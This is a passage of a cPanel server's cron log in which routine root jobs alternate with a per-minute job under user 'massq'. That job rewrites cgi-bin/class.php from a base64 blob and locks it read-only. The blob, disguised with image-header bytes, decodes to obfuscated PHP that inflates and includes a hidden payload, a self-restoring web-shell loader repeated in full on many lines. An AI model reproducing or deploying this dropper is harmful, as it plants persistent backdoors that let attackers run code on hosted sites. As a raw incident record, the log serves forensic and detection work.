LcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:16:01 server CROND[21979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:16:01 server CROND[21980]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:16:01 server CROND[21981]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:17:01 server CROND[22363]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:17:01 server CROND[22364]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:17:01 server CROND[22365]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:18:01 server CROND[23018]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:18:01 server CROND[23019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:18:01 server CROND[23020]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:19:01 server CROND[23417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:19:01 server CROND[23419]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:19:01 server CROND[23418]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:20:01 server CROND[23815]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 07:20:01 server CROND[23817]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 07:20:01 server CROND[23820]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 07:20:01 server CROND[23825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:20:01 server CROND[23827]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:20:01 server CROND[23822]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 07:20:01 server CROND[23823]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:20:01 server CROND[23828]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 07:20:01 server CROND[23824]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 07:21:01 server CROND[24640]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:21:01 server CROND[24641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:21:01 server CROND[24642]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:22:01 server CROND[25014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:22:01 server CROND[25016]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:22:01 server CROND[25017]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:23:01 server CROND[25461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:23:01 server CROND[25462]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:23:01 server CROND[25463]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:24:01 server CROND[25862]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:24:01 server CROND[25863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:24:01 server CROND[25864]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:25:01 server CROND[26233]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 07:25:01 server CROND[26237]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 07:25:01 server CROND[26239]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 07:25:01 server CROND[26240]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 07:25:01 server CROND[26246]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:25:01 server CROND[26236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:25:01 server CROND[26238]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:26:01 server CROND[27085]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:26:01 server CROND[27086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:26:01 server CROND[27087]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:27:01 server CROND[27474]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 07:27:01 server CROND[27477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:27:01 server CROND[27476]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:27:01 server CROND[27475]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:28:01 server CROND[27842]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:28:01 server CROND[27843]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
